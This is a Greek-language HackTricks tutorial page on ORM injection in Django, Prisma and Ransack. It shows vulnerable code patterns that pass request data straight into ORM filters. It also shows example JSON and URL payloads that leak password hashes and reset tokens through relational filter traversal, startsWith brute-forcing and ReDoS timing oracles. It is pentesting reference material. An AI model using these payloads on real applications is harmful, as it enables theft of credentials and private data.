ORM Injection

Support HackTricks

Django ORM (Python)

Στο αυτό το άρθρο εξηγείται πώς είναι δυνατόν να γίνει ευάλωτο ένα Django ORM χρησιμοποιώντας για παράδειγμα έναν κώδικα όπως:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Σημειώστε πώς όλα τα request.data (τα οποία θα είναι json) περνάνε απευθείας για φιλτράρισμα αντικειμένων από τη βάση δεδομένων. Ένας επιτιθέμενος θα μπορούσε να στείλει απροσδόκητα φίλτρα προκειμένου να διαρρεύσουν περισσότερα δεδομένα από ό,τι αναμενόταν.

Παραδείγματα:

  • Σύνδεση: Σε μια απλή σύνδεση προσπαθήστε να διαρρεύσετε τους κωδικούς πρόσβασης των χρηστών που είναι εγγεγραμμένοι σε αυτήν.

{
"username": "admin",
"password_startswith":"a"
}

Είναι δυνατόν να γίνει brute-force στον κωδικό πρόσβασης μέχρι να διαρρεύσει.

  • Σχεσιακή φιλτράρισμα: Είναι δυνατόν να διασχίσετε σχέσεις προκειμένου να διαρρεύσει πληροφορίες από στήλες που δεν αναμένονταν καν να χρησιμοποιηθούν στη διαδικασία. Για παράδειγμα, αν είναι δυνατόν να διαρρεύσουν άρθρα που δημιουργήθηκαν από έναν χρήστη με αυτές τις σχέσεις: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

Είναι δυνατόν να βρείτε τον κωδικό πρόσβασης όλων των χρηστών που έχουν δημιουργήσει ένα άρθρο

  • Πολλών προς πολλούς σχεσιακός φιλτράρισμα: Στο προηγούμενο παράδειγμα δεν μπορέσαμε να βρούμε τους κωδικούς πρόσβασης χρηστών που δεν έχουν δημιουργήσει ένα άρθρο. Ωστόσο, ακολουθώντας άλλες σχέσεις αυτό είναι δυνατό. Για παράδειγμα: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

Σε αυτή την περίπτωση μπορούμε να βρούμε όλους τους χρήστες στα τμήματα χρηστών που έχουν δημιουργήσει άρθρα και στη συνέχεια να διαρρεύσουμε τους κωδικούς πρόσβασής τους (στο προηγούμενο json διαρρέουμε μόνο τα ονόματα χρηστών αλλά στη συνέχεια είναι δυνατό να διαρρεύσουμε τους κωδικούς πρόσβασης).

  • Κατάχρηση των σχέσεων πολλών προς πολλούς του Django Group και Permission με τους χρήστες: Επιπλέον, το μοντέλο AbstractUser χρησιμοποιείται για τη δημιουργία χρηστών στο Django και από προεπιλογή αυτό το μοντέλο έχει κάποιες πολλές προς πολλές σχέσεις με τους πίνακες Permission και Group. Που βασικά είναι ένας προεπιλεγμένος τρόπος για να αποκτήσετε πρόσβαση σε άλλους χρήστες από έναν χρήστη αν είναι στην ίδια ομάδα ή μοιράζονται την ίδια άδεια.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Παράκαμψη περιορισμών φίλτρων: Η ίδια ανάρτηση πρότεινε να παρακαμφθεί η χρήση κάποιων φίλτρων όπως articles = Article.objects.filter(is_secret=False, **request.data). Είναι δυνατόν να εξάγουμε άρθρα που έχουν is_secret=True επειδή μπορούμε να επαναλάβουμε από μια σχέση στον πίνακα Article και να διαρρεύσουμε μυστικά άρθρα από μη μυστικά άρθρα επειδή τα αποτελέσματα είναι συνδεδεμένα και το πεδίο is_secret ελέγχεται στο μη μυστικό άρθρο ενώ τα δεδομένα διαρρέουν από το μυστικό άρθρο.

Article.objects.filter(is_secret=False, categories__articles__id=2)

Καταχρώντας τις σχέσεις, είναι δυνατόν να παρακαμφθούν ακόμη και τα φίλτρα που προορίζονται για την προστασία των δεδομένων που εμφανίζονται.

  • Error/Time based via ReDoS: Στα προηγούμενα παραδείγματα αναμενόταν να έχουμε διαφορετικές απαντήσεις αν το φίλτρο λειτουργούσε ή όχι για να το χρησιμοποιήσουμε ως μάντη. Αλλά θα μπορούσε να είναι δυνατόν να εκτελείται κάποια ενέργεια στη βάση δεδομένων και η απάντηση να είναι πάντα η ίδια. Σε αυτό το σενάριο, θα μπορούσε να είναι δυνατόν να προκαλέσουμε σφάλμα στη βάση δεδομένων για να αποκτήσουμε έναν νέο μάντη.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Από την ίδια ανάρτηση σχετικά με αυτό το vector:

  • SQLite: Δεν έχει έναν κανονικό εκφραστή (regexp) από προεπιλογή (απαιτεί φόρτωση τρίτου μέρους επέκτασης)

  • PostgreSQL: Δεν έχει προεπιλεγμένο χρονικό όριο regex και είναι λιγότερο επιρρεπές σε backtracking

  • MariaDB: Δεν έχει χρονικό όριο regex

Prisma ORM (NodeJS)

Τα παρακάτω είναι κόλπα που εξάγονται από αυτή την ανάρτηση.

  • Πλήρης έλεγχος εύρεσης:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Ο επιτιθέμενος έχει πλήρη έλεγχο όλων των επιλογών prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Είναι δυνατόν να δούμε ότι ολόκληρο το σώμα javascript περνάει στο prisma για να εκτελέσει ερωτήματα.

Στο παράδειγμα από την αρχική ανάρτηση, αυτό θα ελέγξει όλες τις αναρτήσεις που έχουν δημιουργηθεί από κάποιον (κάθε ανάρτηση δημιουργείται από κάποιον) επιστρέφοντας επίσης τις πληροφορίες χρήστη αυτού του κάποιου (όνομα χρήστη, κωδικός πρόσβασης...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Ο παρακάτω επιλέγει όλες τις αναρτήσεις που έχουν δημιουργηθεί από κάποιον με κωδικό πρόσβασης και θα επιστρέψει τον κωδικό πρόσβασης:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Πλήρης έλεγχος της ρήτρας where:

Ας ρίξουμε μια ματιά σε αυτό όπου η επίθεση μπορεί να ελέγξει τη ρήτρα where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Ευάλωτο σε ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Είναι δυνατόν να φιλτράρουμε τον κωδικό πρόσβασης των χρηστών απευθείας όπως:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

Χρησιμοποιώντας λειτουργίες όπως το startsWith, είναι δυνατόν να διαρρεύσει πληροφορία.

  • Παράκαμψη φιλτραρίσματος σχέσεων πολλαπλών προς πολλαπλές:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Είναι δυνατόν να διαρρεύσουν μη δημοσιευμένα άρθρα επιστρέφοντας στις πολλές-προς-πολλές σχέσεις μεταξύ Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Είναι επίσης δυνατό να διαρρεύσουν όλοι οι χρήστες εκμεταλλευόμενοι κάποιες σχέσεις many-to-many με loop back:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Στην αρχική ανάρτηση μπορείτε να διαβάσετε ένα πολύ εκτενές σύνολο δοκιμών που πραγματοποιήθηκαν προκειμένου να βρεθεί το βέλτιστο payload για να διαρρεύσει πληροφορίες με ένα payload βασισμένο στον χρόνο. Αυτό είναι:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Όπου το {CONTAINS_LIST} είναι μια λίστα με 1000 συμβολοσειρές για να διασφαλιστεί ότι η απάντηση καθυστερεί όταν βρεθεί η σωστή διαρροή.

Ransack (Ruby)

Αυτές οι τεχνικές βρέθηκαν σε αυτήν την ανάρτηση.

Σημειώστε ότι το Ransack 4.0.0.0 επιβάλλει πλέον τη χρήση ρητής λίστας επιτρεπόμενων για αναζητήσιμα χαρακτηριστικά και συσχετίσεις.

Ευάλωτο παράδειγμα:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Σημειώστε πώς το ερώτημα θα καθοριστεί από τις παραμέτρους που θα στείλει ο επιτιθέμενος. Ήταν δυνατόν, για παράδειγμα, να γίνει brute-force το token επαναφοράς με:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Με brute-forcing και πιθανές σχέσεις, ήταν δυνατό να διαρρεύσουν περισσότερα δεδομένα από μια βάση δεδομένων.

Αναφορές

Support HackTricks

Last updated